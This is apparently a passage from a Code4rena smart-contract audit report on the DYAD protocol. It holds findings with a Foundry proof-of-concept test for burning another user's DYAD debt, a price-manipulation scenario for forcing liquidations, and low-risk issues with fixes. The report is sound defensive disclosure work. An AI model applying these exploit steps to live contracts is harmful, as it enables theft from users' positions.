Recommended Mitigation Steps

Allow dNFT owners to remove vaults from their dNFT positions even if it has assets, but have a clear warning that doing so may reduce their collateral and cause liquidation.

Submitted by also found by , , and

`VaultManagerV2.sol` has a function `burnDyad` that allows a DNft owner to burn his minted DYAD tokens.

```
    function burnDyad(uint256 id, uint256 amount) external
isValidDNft(id) {
        dyad.burn(id, msg.sender, amount);
        emit BurnDyad(id, amount, msg.sender);
    }
```

However, the function does not check if the DNft id that is passed to it and the `isValidDNft` modifier belongs to `msg.sender`, allowing any DNft owner to burn any other DNft owner minted DYAD by calling the `burnDyad` function with the other user's DNft id.

Impact

A user can prevent an open position from being liquidated by calling `VaultManagerV2::burnDyad` to burn his own DYAD balance, while retaining his DYAD debt, effectively creating bad debt that cannot be liquidated nor redeemed.

Moreover, by specifying a different DNft id from their own when calling `VaultManagerV2::burnDyad`, the user can clear DYAD debt from another position while retaining the DYAD balance associated with it, effectively tricking the protocol in allowing him to mint more DYAD as the position no longer has DYAD debt.

Proof of Concept

1. Add the helper functions to `VaultManagerHelper.t.sol`.

2. Add the test to `VaultManager.t.sol` .

3.
Make sure you are interacting with `VaultManagerV2.sol` (not `VaultManager.sol`) and run with:

```
forge test --mt test_burnAnotherUserDyad
```

`VaultManagerHelper.t.sol` :

```
    function mintDNftToUser(address user) public returns (uint256) {
        return dNft.mintNft{value: 1 ether}(user);
    }

    function userDeposit(ERC20Mock token, uint256 id, address vault,
uint256 amount, address user) public {
        vaultManager.add(id, vault);
        token.mint(user, amount);
        token.approve(address(vaultManager), amount);
        vaultManager.deposit(id, address(vault), amount);
    }
```

`VaultManager.t.sol` :

```
    function test_burnAnotherUserDyad() public {
        vm.deal(Alice, 10 ether);
        vm.deal(Bob, 10 ether);

        // Mint DYAD to Alice
        vm.startPrank(Alice);
        uint256 aliceDNftId = mintDNftToUser(Alice);
        userDeposit(weth, aliceDNftId, address(wethVault), 1e22, Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);
        vm.stopPrank();

        // Mint DYAD to Bob
        vm.startPrank(Bob);
        uint256 bobDNftId = mintDNftToUser(Bob);
        userDeposit(weth, bobDNftId, address(wethVault), 1e22, Bob);
        vaultManager.mintDyad(bobDNftId, 1e20, Bob);
        vm.stopPrank();

        console.log("Alice Minted Dyad:",
dyad.mintedDyad(address(vaultManager), 0)); // 10000000000000000000
```

```
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); //
10000000000000000000
        console.log("Bob Minted Dyad:",
dyad.mintedDyad(address(vaultManager), 1)); // 10000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); //
10000000000000000000

        // Call `burnDyad` as Bob on Alice's DNft id!
        vm.prank(Bob);
        vaultManager.burnDyad(aliceDNftId, 1e20);

        // Bob position becomes insolvent as his DYAD balance is now
equal to 0!
        console.log("Alice Minted Dyad:",
dyad.mintedDyad(address(vaultManager), 0)); // 0
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); //
10000000000000000000
        console.log("Bob Minted Dyad:",
dyad.mintedDyad(address(vaultManager), 1)); // 10000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0

        // Alice can mint more DYAD as her DYAD debt is now equal to 0!
        vm.prank(Alice);
        vaultManager.mintDyad(aliceDNftId, 1e20, Alice);

        console.log("Alice Minted Dyad:",
dyad.mintedDyad(address(vaultManager), 0)); // 10000000000000000000
        console.log("Alice Dyad Balance:", dyad.balanceOf(Alice)); //
20000000000000000000
        console.log("Bob Minted Dyad:",
dyad.mintedDyad(address(vaultManager), 1)); // 10000000000000000000
        console.log("Bob Dyad Balance:", dyad.balanceOf(Bob)); // 0

        // Bob position cannot be liquidated due to high collaterization
ratio!
        vm.prank(Alice);
        vm.expectRevert();
        vaultManager.liquidate(1, 0);
    }


[PASS] test_burnAnotherUserDyad() (gas: 815369)
Logs:
  Alice Minted Dyad: 10000000000000000000
  Alice Dyad Balance: 10000000000000000000
  Bob Minted Dyad: 10000000000000000000
  Bob Dyad Balance: 10000000000000000000
  Alice Minted Dyad: 0
  Alice Dyad Balance: 10000000000000000000
  Bob Minted Dyad: 10000000000000000000
  Bob Dyad Balance: 0
  Alice Minted Dyad: 10000000000000000000
```

```
Alice Dyad Balance: 20000000000000000000
Bob Minted Dyad: 10000000000000000000
Bob Dyad Balance: 0
```

Recommended Mitigation:

Add `isDNftOwner` modifier to `VaultManagerV2.sol::burnDyad` to check if the passed DNft id belongs to `msg.sender`, preventing the function caller from being able to burn another user's minted DYAD.

```
    function burnDyad(uint256 id, uint256 amount) external
     isValidDNft(id)
+    isDNftOwner(id) {
        dyad.burn(id, msg.sender, amount);
        emit BurnDyad(id, amount, msg.sender);
    }
```

Assessed type

DoS

:

> *Yeah, burn dyad should only be done by the owner.*

Submitted by also found by
sashik_eth ,),
, ke1caM , , ,
, , , lian886 ,), , ,
, itsabinashb , , , , and

The kerosene manager is the contract responsible for managing kerosene prices. In the current state it has broken functionality due to the design. The `KeroseneManager` contract contains a list of vaults.

When we look at `UnboundedKerosineVault` contract, we see what those vaults are used for:

```
function assetPrice()
    public
    view
    override
    returns (uint) {
      // ...
      address[] memory vaults = kerosineManager.getVaults();
      uint numberOfVaults = vaults.length;
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaults[i]);
        // ...
                * vault.assetPrice() * 1e18
        // ...
      }
```

The `KeroseneManager` contract is expected to have a list of the backing vaults. This list is then queried for the individual `assetPrice()`. Crucially, the `KeroseneManager` contract will not have the vault which takes kerosene as the asset. This is because calling `assetPrice` on a vault handling kerosene will make it go into an infinite loop.

So this section of the code expects the `KeroseneManager` contract to only contain a list of the vaults which has exo collateral.

Now, let's look at `VaultManagerV2.sol` contract's `getKeroseneValue` function. This function is supposed to return the value of kerosene tokens a user has deposited. It should do this by querying all the vaults, which takes kerosene as the deposit.

```
function getKeroseneValue(
    uint id
  )
    public
    view
    returns (uint) {
      uint numberOfVaults = vaultsKerosene[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        if (keroseneManager.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);
        }
        //...
  }
```

So the `vaultsKerosene` should hold the vaults which take `kerosene` as its deposit. Then, the code calls `keroseneManager.isLicensed(address(vault)`. The `isLicensed` function only

checks in the same `vaults` array in the kerosene manager.

```
function isLicensed(
    address vault
  )
    return vaults.contains(vault);
```

So, this expects the `KeroseneManager` to also contain the kerosene accepting vaults as well!

We have shown that in `UnboundedKerosineVault`, the `KeroseneManager` contract is expected to have only the backing vaults, not the kerosene deposit vaults itself, or it will enter an infinite loop. We have also shown that in `VaultManagerV2`, the `KeroseneManager` contract is expected to have the kerosene deposit vaults as well, or it will not be able to pass the `isLicensed` check.

Both the above statements cannot be true at the same time. This is a design flaw. The `KeroseneManager` contract, if it contains the kerosene deposit vaults will break the kerosene pricing mechanism, and if it does not, it will break the manager contract. Thus, the current design is flawed and will break the functionality.

If we look at the deployment script, we see that the kerosene manager only has the backing vaults:

```
kerosineManager.add(address(ethVault));
kerosineManager.add(address(wstEth));
```

This means the manager's `isLicensed` call will fail for vaults which accept kerosene.

Proof of Concept

This is a design flaw as described above. A proof of concept cannot be shown since its broken functionality.

Recommended Mitigation Steps

Store the kerosene vaults info in the Licenser contract. Then change the `keroseneManager.isLicensed` call to `vaultLicenser.isLicensed` in the manager contract.

Assessed type

Error

:

> *Kerosene Manager only uses vaults with exogenous collateral.*

:

> *The* `getKeroseneValue()` *function should return the value of vaults that have kerosene tokens. However, as you mentioned, Kerosene Manager only uses vaults with exogenous collateral. So, those vaults won't be licensed by Kerosene Manager as they don't hold any kerosene tokens.*
>
> *From Deploy V2 script:*
>
> ```
> KerosineManager kerosineManager = new KerosineManager();
>
> kerosineManager.add(address(ethVault));
> kerosineManager.add(address(wstEth));
> ```
>
> *This result in,* `getKeroseneValue` *will always return zero.*
>
> *Instead of this condition:*
> `if (keroseneManager.isLicensed(address(vault))) { .`
> *We should probably have this:*
> `if (!keroseneManager.isLicensed(address(vault)) and vaultLicenser.isLicensed(address(vault))).`
>
> *This checks that the vault is a kerosene, since it is licensed by Licenser and not licensed by Kerosene Manager.*

:

> *Ahh, ok now it makes sense. Thanks for the clarification. This is a correct find.*

Submitted by also found by , amaron), , , , , , , , , darksnow), , and

The value of kerosene tokens is calculated according to the following formula:

Note: Please see scenario in warden's .

The price of kerosene changes based on user actions. If a user has a large amount of tokens in their vault, that adds to the TVL. Now if a user mints a bunch of dyad tokens with their deposit as collateral, or if a removes a bunch of their unused collateral, the price of kerosene tokens will drop instantaneously.

When calculating the collateralization ratio of a user's position, the price of kerosene is essential. This is used in the `getKeroseneValue` function.

```
function getKeroseneValue(
    uint id
  )
    public
    view
    returns (uint) {
      uint totalUsdValue;
      uint numberOfVaults = vaultsKerosene[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault = Vault(vaultsKerosene[id].at(i));
        uint usdValue;
        if (keroseneManager.isLicensed(address(vault))) {
          usdValue = vault.getUsdValue(id);
        }
        totalUsdValue += usdValue;
      }
      return totalUsdValue;
  }

function getTotalUsdValue(
    uint id
  )
    public
    view
    returns (uint) {
```

```
        return getNonKeroseneValue(id) + getKeroseneValue(id);
    }
```

As seen above, the `totalUsdValue` depends on the `getKeroseneValue` function, which calls `getUsdValue` on the kerosene vaults. So instantaneously dropping the price of kerosene tokens will also instantaneously drop the `totalUSDValue` of the user's position, decreasing their collateralization ratio. This can be used to force users into liquidation, if their final ratio drops below the liquidation threshold.

Since this allows any user to affect the collateralization ratio of other user's positions, this is a high severity issue.

Proof of Concept

Assume Alice has 1 million USDC tokens in her vault, and 0 minted dyad tokens. TVL is 10 million USD of exo collateral, dyad supply is 5.5 million. Assume total supply of kerosene is 100,000.

So the price of kerosene is:

```
kerosenePrice = {10,000,000 - 5,500,000}/{100,000} = 45 USD
```

Now assume Bob has an account with 1000 USDC tokens, and 20 kerosene tokens. They minted 1150 dyad tokens. These values were already included in the calculation above, so the minted amounts wont change. Their current collateralization ratio is:

```
CR = {1000 + 45 * 20}/{1150} = 1.65
```

Now, Alice decides to attack BOB's position. She withdraws her 1 million USDC tokens from her vault. This drops the TVL to 9 million USD. Now the price of kerosene is:

```
kerosenePrice = {9,000,000 - 5,500,000}/{100,000} = 35 USD
```

Now the collateralization ratio of Bob's position is:

```
CR = {1000 + 35 * 20}\{1150} = 1.48
```

Thus, Bob's position is liquidatable.

Whales can set up traps by putting in large amounts of capital as TVL into the vault, propping up the price of kerosene. Then whenever a user opens a position which is moderately close to the liquidation threshold, the whale can immediately take out their liquidity, effectively doing a rug pull, and liquidate the users.

Since this gives high net worth users an easy way to manipulate the protocol at no loss, this is a high severity issue.

Recommended Mitigation Steps

Add a TWAP mechanism to calculate the price of kerosene. The price of kerosene being manipulatable instantaneously is a huge risk. By using a TWAP mechanism, the price of kerosene will be more stable, and users will have more time to react to changes in the price of kerosene.

Assessed type

Oracle

:

> *Kerosene can be very volatile. Especially in the early days. Users should act accordingly.*

:

> *Relying solely on the spot price makes users positions subject to liquidation which is a known issue in DeFi. Users should act to prevent their position from being liquidated, However, in this scenario, it is not possible since the price is manipulated in one block. Downgrading to medium since the price math is stated by the protocol.*

Low Risk and Non-Critical Issues

For this audit, 12 reports were submitted by wardens detailing low risk and non-critical issues. The by **Bauchibred** received the top score from the judge.

The following wardens also submitted reports: , , , , , and .

[01] `CR` could be over/undervalued due to its unsafe dependence on `vault.getUsdValue()`

```
function assetPrice()
  public
  view
  override
  returns (uint) {
    uint tvl;
    //@audit
    address[] memory vaults = kerosineManager.getVaults();
    uint numberOfVaults = vaults.length;
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaults[i]);
      tvl += vault.asset().balanceOf(address(vault))
              * vault.assetPrice() * 1e18
              / (10**vault.asset().decimals())
              / (10**vault.oracle().decimals());
    }
    uint numerator   = tvl - dyad.totalSupply();
    uint denominator = kerosineDenominator.denominator();
    return numerator * 1e8 / denominator;
}
```

This function is used to get the price of an asset, and it gets that by querying the specific vault of that asset for it's balance and price.

Keep in mind that this function is also used whenever getting price from the bounded vault as shown .

```
function assetPrice()
  public
  view
  override
  returns (uint) {
    return unboundedKerosineVault.assetPrice() * 2;
      }
```

Going back to the `VaultManagerV2.sol`, we can see that the line `usdValue = vault.getUsdValue(id);` is queried whenever there is a need to get the collateral ratio for asset as confirmed by and queries the two aforementioned functions as shown .

```
function getUsdValue(
  uint id
)
  external
  view
```

```
    returns (uint) {
      return id2asset[id] * assetPrice()
              * 1e18
              / 10**oracle.decimals()
              / 10**asset.decimals();
  }



  function assetPrice()
    public
    view
    returns (uint) {
      (
        ,
        int256 answer,
        ,
        uint256 updatedAt,
      ) = oracle.latestRoundData();
      if (block.timestamp > updatedAt + STALE_DATA_TIMEOUT) revert
StaleData();
      return answer.toUint256();
  }
```

That is to say that the pricing logic requires us to query chainlink at the end of the calls, but evidently, we can see that this call lacks any check on the in-aggregator built min/max circuits; which would make protocol either overvalue or undervalue the collateral depending on which boundary is crossed.

A little bit more on the min/max circuits is that, Chainlink price feeds have in-built minimum & maximum prices they will return; if during a flash crash, bridge compromise, or depegging event, an asset's value falls below the price feed's minimum price, the oracle price feed will continue to report the (now incorrect) minimum price, so an an attacker could:

- Have their asset in protocol.
- Real price of value dropped very low.
- Attacker buys these assets in bulk from an exchange.
- Brings it back to mint undercolaterized DYAD, since protocol would assume a way higher price than really is for the asset.

Impact

Borderline medium/low, as this essentially breaks core functionalities like documented collateralization level of DYAD to always be > 150%, and in severe cases, this could even cause the DYAD to depeg.

Recommended Mitigation Steps

Store the asset's min/max checks, reimplement the way `vault.getUsdValue()` is being queried and have direct access to the price data being returned and check if it's at these boundaries and revert or alternatively integrate a fallback oracle and then use the price from this instead.

[02] Protocol does not enforce `CR` buffer in regards to user's protection

Protocol includes a liquidation logic as can be seen .

```
  function liquidate(
    uint id,
    uint to
  )
    external
      isValidDNft(id)
      isValidDNft(to)
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare +
1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }
```

However, when getting into a position, protocol allows users to have their positions to be `==` `collateralRatio` which only then subtly breaks protocol's logic as users are now immediately liquidatable in the next block.

Impact

Users could be immediately liquidatable in the next block.

Recommended Mitigation Steps

Consider introducing a buffer logic not to allow users be immediately liquidatable, alternatively have a strict enforcement that there is always a reasonable gap between user's position and the CR when they are opening a position.

[03] `vault.getUsdValue()` should be wrapped in a try catch

```
function assetPrice()
  public
  view
  override
  returns (uint) {
    uint tvl;
    //@audit
    address[] memory vaults = kerosineManager.getVaults();
    uint numberOfVaults = vaults.length;
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaults[i]);
      tvl += vault.asset().balanceOf(address(vault))
              * vault.assetPrice() * 1e18
              / (10**vault.asset().decimals())
              / (10**vault.oracle().decimals());
    }
    uint numerator   = tvl - dyad.totalSupply();
    uint denominator = kerosineDenominator.denominator();
    return numerator * 1e8 / denominator;
}
```

This function is used to get the price of an asset, and it gets that by querying the specific vault of that asset for its balance and price. Keep in mind that this function is also used whenever getting price from the bounded vault as shown .

```
function assetPrice()
  public
  view
  override
  returns (uint) {
    return unboundedKerosineVault.assetPrice() * 2;
      }
```

Going back to the `VaultManager`, we can see that the line `usdValue = vault.getUsdValue(id);` is queried whenever there is a need to get the prices as confirmed by and queries the two aforementioned functions as shown .

```
function getUsdValue(
  uint id
)
  external
  view
  returns (uint) {
    return id2asset[id] * assetPrice()
            * 1e18
            / 10**oracle.decimals()
            / 10**asset.decimals();
}



function assetPrice()
  public
  view
  returns (uint) {
    (
      ,
      int256 answer,
      ,
      uint256 updatedAt,
    ) = oracle.latestRoundData();
    if (block.timestamp > updatedAt + STALE_DATA_TIMEOUT) revert
StaleData();
    return answer.toUint256();
  }
```

That is to say that the pricing logic requires us to query chainlink at the end of the calls, but evidently, we can see that this call lacks error handling for the potential failure of `vault.getUsdValue` which could fail due to the call to `oracle.latestRoundData()` via `assetPrice()`. Note that Chainlink pricefeeds could revert due to whatever reason, i.e. say maintenance or maybe the Chainlink team decide to change the underlying address. Now this omission of not considering this call failing would lead to systemic issues, since calls to this would now revert halting any action that requires this call to succeed.

Impact

Borderline medium/low, as this essentially breaks core functionalities like liquidating and whatever requires for the usd value of an asset to be queried since there would be a complete revert.

Recommended Mitigation Steps

Wrap the `vault.getUsdValue()` call in a try-catch block, then handle the error (e.g., revert with a specific message or use an alternative pricing method); the latter is a better fix as it ensures the protocol still functions as expected on the fallback oracle.

[04] Protocol might overvalue the asset transferred in by a user and unintentionally flaw their accounting logic

First would be key to note that protocol is to support different types of ERC20, which include tokens that apply fee whenever being transferred, this can be seen from the *### ERC20 token behaviours in scope* section of the audit's README .

```
function deposit(
  uint    id,
  address vault,
  uint    amount
)
  external
    isValidDNft(id)
{
  idToBlockOfLastDeposit[id] = block.number;
  Vault _vault = Vault(vault);
  _vault.asset().safeTransferFrom(msg.sender, address(vault), amount);
  _vault.deposit(id, amount);
}
```

This function allows a `dNFT` owner to deposit collateral into a vault, it first transfers the amount from the caller and then deposits it to the vault with the function .

```
function deposit(
  uint id,
  uint amount
)
  external
    onlyVaultManager
{
  id2asset[id] += amount;
  emit Deposit(id, amount);
}
```

The issue with this implementation is that it could get very faulty for some assets, that's to say for tokens that remove fees whenever they are being transferred, then protocol is going to have an accounting flaw as it assumes the amount of assets sent with this line: `_vault.asset().safeTransferFrom(msg.sender, address(vault), amount);` is what's being received. It would be key to note that the impact of this varies on the logic of the `asset` in some cases this could be just fees that might amount to little value which would still be considered as a leak of value.

However in some cases, for some tokens such as the , it contains a special case for when the amount to be `deposited == type(uint256).max` in their transfer functions that result in only the user's balance being transferred. This can easily be used to exploit or rug pull the vault depending on the context, as in the vault during deposits, this execution `id2asset[id] += amount` would assume `amount` to be `type(uint256).max` and depositor can then withdraw as much tokens as they like in breaking the intended rate of redemption `1 DYAD` to always be `$1` , as they are no collaterals to back this.

Also the protocol has stated that among tokens to consider as collaterals, we should consider LSTs and LRTs; however, even these set of tokens are vulnerable to this, from LSTs that support positive/negative rebases to LSTs that

Impact

As explained in the last section, this could lead to multiple bug cases depending on the specific `fee/transfer` logic applied to the asset, but in both cases this leads to a heavy accounting flaw and one might easily game the system by coupling this with the minting/withdrawal logic.

Keep in mind that protocol already integrates Lido's `WSTETH` on the mainnet, but since Chainlink does not have a specific feed for `WSTETH/USD` on the mainnet, protocol uses the Chainlink mainnet's `STETH/USD` feed instead as seen , since this is not for the asset used as collateral. The protocol would decide to change and decide to integrate into protocol `STETH` directly instead which still opens them up to this issue, specifically the `1-2 wei corner case` , otherwise this bug case is still applicable to other.

Additional note to judge: This finding was first submitted as a H/M finding and then withdrawn after the scope of tokens to consider were refactored; however, going through the docs and information passed by sponsors we can see that protocol plans on integrating LSTs and LRTs and in that case the `1-2` wei corner case is applicable to LSTs which still makes protocol vulnerable to bug case, so consider upgrading.

Recommended Mitigation Steps

Do not support these tokens; alternatively a pseudo fix would be to only account for the difference in balance when receiving tokens, but this might not suffice for all tokens considering the future integration of LSTs/LRTs that have rebasing logic attached to them.

Additional Note

This bug case is applicable to attempts of `safeTransfer/safeTransferFrom` in scope, and can be pinpointed using these search commands

-
-

Main focus should be in the instances where these tokens are being deposited to protocol.

[05] The kerosene price can be manipulated via donation attacks

```
function assetPrice()
  public
  view
  override
  returns (uint) {
    uint tvl;
    address[] memory vaults = kerosineManager.getVaults();
    uint numberOfVaults = vaults.length;
    for (uint i = 0; i < numberOfVaults; i++) {
      Vault vault = Vault(vaults[i]);
      tvl += vault.asset().balanceOf(address(vault))
              * vault.assetPrice() * 1e18
              / (10**vault.asset().decimals())
              / (10**vault.oracle().decimals());
    }
    uint numerator   = tvl - dyad.totalSupply();
    uint denominator = kerosineDenominator.denominator();
    return numerator * 1e8 / denominator;
}
```

Would be key to note that this function is also used in the bounded vault to get the asset price via .

```
function assetPrice()
  public
  view
  override
  returns (uint) {
    return unboundedKerosineVault.assetPrice() * 2;
}
```

The issue with this stems from how the Kerosene token price is calculated, the TVL is determined by fetching the balance of each vault's asset using the `balanceOf()` function and then multiplying it by the vault's asset price:

```
tvl += vault.asset().balanceOf(address(vault))
        * vault.assetPrice() * 1e18
        / (10**vault.asset().decimals())
        / (10**vault.oracle().decimals());
```

However, this method relies on the `balanceOf()` function to retrieve the asset balance of each vault, rather than using a storage variable that internally tracks deposits. This opens up a vulnerability where an attacker could donate an arbitrary amount of assets to any vault, thereby artificially increasing the Kerosene token price.

Recommended Mitigation Steps

Devise a solution that ensures the accurate calculation of the Kerosene token price without being susceptible to manipulation via unauthorized asset donations, this can be done by having a storage variable tracking the deposits internally

[06] `dNFT` owners can liquidate themselves

```
function liquidate(
  uint id,
  uint to
)
  external
    isValidDNft(id)
    isValidDNft(to)
```

```
    {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr               = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD);
      uint liquidationAssetShare  = (liquidationEquityShare +
1e18).divWadDown(cappedCr);

      uint numberOfVaults = vaults[id].length();
      for (uint i = 0; i < numberOfVaults; i++) {
          Vault vault      = Vault(vaults[id].at(i));
          uint  collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
          vault.move(id, to, collateral);
      }
      emit Liquidate(id, msg.sender, to);
  }
```

This function is used to liquidate a dNFT that's currently underwater, i.e. whose collateral ratio is less than `MIN_COLLATERIZATION_RATIO` which is `150%` ; however, this attempt does not check to ensure that the `to` address is not the current owner of the `dNFT` that's to be liquidated. This then allows any user whose position goes underwater to instead of bringing back their positions afloat just liquidate themselves.

Impact

Some `dNFT` owners can attempt gaming the system by liquidating themselves instead of getting their positions back afloat when it's profitable to do so.

Recommended Mitigation Steps

Consider checking that the position to be liquidated is not owned by the liquidator who's liquidating it.

[07] Protocol's reward vesting logic could unfairly make users liquidatable

---

Take a look .

```
  function denominator() external view returns (uint) {
    // @dev: We subtract all the Kerosene in the multi-sig.
    //       We are aware that this is not a great solution. That is
    //       why we can switch out Denominator contracts.
    return kerosine.totalSupply() - kerosine.balanceOf(MAINNET_OWNER);
```

```
    }
  }
```

We can see that the final price that's gotten for kerosene is dependent on this; however, the multi sig's balance is not always going to be constant. That's to say in a case where there is a need to reward users for staking, the multi sig must send out tokens for this.

Undergoing this action, however, can directly cause some positions that were narrowly afloat to become immediately liquidatable. This is cause the higher this denominator is, the lower the price returned from .

```
        uint numerator   = tvl - dyad.totalSupply();
        uint denominator = kerosineDenominator.denominator();
        return numerator * 1e8 / denominator;
```

Impact

Borderline medium low, submitted as low as there is a little bit of dependency on the admin having to transfer out tokens.

Recommended Mitigation Steps

Consider making the denominator independent of the multi sig.

[08] Update stale modifiers from `VaultManagerV1` used in `VaultManagerV2`

```
  modifier isLicensed(address vault) {
    if (!vaultLicenser.isLicensed(vault)) revert NotLicensed(); _;
  }
```

This modifier is used to know if a vault is licensed or not; however, the implementation is stale and is only correctly applicable to the V1 vault manager, i.e., with the V2 there is the introduction of the kerosene vaults logic but these vaults do not have a modifier to confirm if they are licensed or not.

Impact

No modifier to know if a kerosene vault is licensed or not.

Recommended Mitigation Steps

Implement similar functionalities for sister integrations, i.e., introduce a modifier to cover kerosene vaults too.

[09] Owner transfer actions done in a single-step manner are dangerous

```
        kerosineManager.transferOwnership(MAINNET_OWNER);
```

However, the protocol uses `Solmates Owned.sol` and inheriting from solmate's Owned contract means you are using a single-step ownership transfer pattern. If an admin provides an incorrect address for the new owner this will result in none of the `onlyOwner` marked methods being callable again. The better way to do this is to use a two-step ownership transfer approach, where the new owner should first claim its new rights before they are transferred.

Here is the implementation of :

```
    function transferOwnership(address newOwner) public virtual
onlyOwner {
        owner = newOwner;

        emit OwnershipTransferred(msg.sender, newOwner);
    }
```

Impact

Admin role could be permanently lost.

Recommended Mitigation Steps

Use OpenZeppelin's `Ownable2Step` instead of `Ownable` .

[10] Protocol might be incompatible with some to-be integrated tokens due to dependency on `.decimals()` during withdrawal attempts

```
  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  )
    public
      isDNftOwner(id)
  {
    //@audit
    if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice()
                 * 1e18
                 / 10**_vault.oracle().decimals()
                 / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow();
  }
```

We can see that whenever there is a need to withdraw, protocol queries the `asset.decimals()` for the underlying asset; however, some very popular ERC20 that might be used as assets, do not support the `.decimals()` format and as such this attempt at withdrawal would always revert for these tokens

Impact

Specific assets would not work with protocol as it directly attempts to call `asset().decimals()`, which would revert since the functionality is non-existent for that token; leading to deposits to be completely locked in the vaults since withdrawals can't be processed and during deposits no query to `.decimals()` are being made.

Recommended Mitigation Steps

Consider try/catching the logic or outrightly not supporting these tokens.

[11] Fix documentation

In the docs , most instances of explanation of `dNFTs` are being prefixed by the name NOTE which is wrong.

Impact

Bad documentation makes it harder to understand code.

Recommended Mitigation Steps

Change instances of NOTEs to dNFTs.

[12] Protocol intends to have a duration between deposits and withdrawals but instead hardcodes this to `0`

```
  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  )
    public
      isDNftOwner(id)
  {
      //@audit
    if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice()
                  * 1e18
                  / 10**_vault.oracle().decimals()
                  / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow();
  }
```

Evidently, as hinted by the `@audit` tag, we can see that protocol intends to apply a duration logic. After discussions with the sponsor, this check is placed so as not to allow the kerosene price to be manipulated; however, this check is not really sufficient as it doesn't have any

waiting duration. This means that a user can just deposit and withdraw in the next block allowing them to still game the system with a 12 second wait time.

Impact

Check can easily be sidestepped in 12 seconds (block mining duration).

Recommended Mitigation Steps

Consider having a waiting period whenever attempting to withdraw, i.e., apply this pseudo fix .

```
  function withdraw(
    uint    id,
    address vault,
    uint    amount,
    address to
  )
    public
      isDNftOwner(id)
  {
      //@audit
-    if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
+    if (idToBlockTimestampOfLastDeposit[id] + WAITING_DURATION <
block.timestamp) revert DepositedForTooShortDuration();
    uint dyadMinted = dyad.mintedDyad(address(this), id);
    Vault _vault = Vault(vault);
    uint value = amount * _vault.assetPrice()
                 * 1e18
                 / 10**_vault.oracle().decimals()
                 / 10**_vault.asset().decimals();
    if (getNonKeroseneValue(id) - value < dyadMinted) revert
NotEnoughExoCollat();
    _vault.withdraw(id, to, amount);
    if (collatRatio(id) < MIN_COLLATERIZATION_RATIO)  revert CrTooLow();
  }
```

Note: For full discussion, see .

Disclosures

C4 is an open organization governed by participants in the community.

C4 audits incentivize the discovery of exploits, vulnerabilities, and bugs in smart contracts. Security researchers are rewarded at an increasing rate for finding higher-risk issues. Audit submissions are judged by a knowledgeable security researcher and solidity developer and

disclosed to sponsoring developers. C4 does not conduct formal verification regarding the provided code but instead provides final verification.

C4 does not provide any guarantee or warranty regarding the security of this project. All smart contract software should be used at the sole risk and responsibility of users.